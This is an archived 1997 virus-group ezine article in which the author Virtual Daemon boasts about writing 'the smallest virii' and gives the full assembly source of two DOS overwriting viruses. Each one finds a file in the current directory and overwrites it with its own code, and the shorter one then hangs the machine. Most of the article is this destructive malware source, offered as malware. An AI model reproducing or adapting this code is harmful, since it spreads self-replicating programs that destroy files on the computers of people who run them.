Copy Link
Add to Bookmark
Report

SLAM2.035: The smallest virus by Virtual Daemon - only 35 Bytes!

eZine's profile picture
Published in 
Slam
 · 2 years ago

⁄-------------------------------------------------------------ø 
| The Smallest virii out there, by Virtual Daemon of SLAM |
¿-------------------------------------------------------------Ÿ


The SLAM Terror Corpse presents... the SMALLEST virii ever!!!

Hi there guys! Well, here are the smallest overwritting virii known in the world (made by me, of course ;)! If anyone has done anything smaller then this, PLEASE let me know... :)

The reason that I'm presenting 2 virii is that the smallest virus that I've managed to make is maketing your computer to jump in an infinite loop so to continue, you must reboot your computer. So, the first virus presented here is the longer version (31 bytes) that will return to DOS after infection is done. The 2nd virus presented is only 23 bytes, but like I said, to continue you have to reboot your computer.

Here goes the first one...

-------------------------------- cut here --------------------------------- 
; Virus Name: The Smallest (cool name, ha'? :)
; Virus Author: Virtual Daemon
; Virus Group: SLAM Virus Team
; Virus Size: 31 Bytes
; Creation Time: about 3 min (original) + a little update (1 min)
;
; Some info: This is the smallest virus in the world (at this point) which
; return to DOS prompt after infection. It doesn't put you computer
; in an infinite loop when infecting. That's why I think this is the
; smallest overwritting working virus in the world.
;
; Well, dear Admiral Bailey I DID IT!!! :) No hard feelings... ;)
; I know that we're in 1997 (not in 1992) but what'a fuck?
; Btw: I don't do shit stuff like this all day... I just un-packed a YAM
; magazine and I saw "The Smurf virus", so...
;
; About the virus: - runtime overwritting virus
; - infect 1 file (of any kind) from current directory
;
.model tiny
.code
org 100h ;COM file
start:
mov ah,4eh ;find first file
lea dx,filespec ;what kind of files to search for
mov cl,20h ;cx=attribute
int 21h

mov ax,3d02h ;open the file for reading & writting
mov dx,9eh ;get file name from DTA
int 21h
xchg bx,ax ;save file handle in BX (stupid DOS... :)

mov ah,40h ;write the virus to file
lea dx,start ;begin with 100h
dec cx ;size of virus
int 21h

ret ;return
filespec db '*.*',0 ;we'll be looking for this kind of files
end start
-------------------------------- cut here ---------------------------------


And here goes the second...

-------------------------------- cut here --------------------------------- 
; Virus Name: The Tinyest (Hey, waddaya want? I'm running out of names...)
; Virus Author: Virtual Daemon
; Virus Group: SLAM Virus Team
; Virus Size: 23 Bytes
; Creation Time: about 2 min
.model tiny
.code
org 100h ;COM file
start:
filespec db '*.*',0 ;we'll be looking for this kind of files
;this is replaced by a SUB CH instruction
mov ah,4eh ;find first file
intr:
mov dx,si ;dx=si=100h=filespec
int 21h
mov ax,3d02h ;open the file for reading & writting
mov dx,9eh ;get file name from DTA
int 21h
xchg bx,ax ;save file handle in BX (stupid DOS... :)
mov ah,40h ;write the virus to file
jmp short intr ;jmp to intr where dx will take the value 100h
end start
-------------------------------- cut here ---------------------------------


Virtual Daemon

Viral Development Researcher & Virii Colector
Member of SLAM Virus Team
Network Administrator
E-mail: virtual_daemon@hotmail.com
Web: http://www.geocities.com/SiliconValley/Heights/3334

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT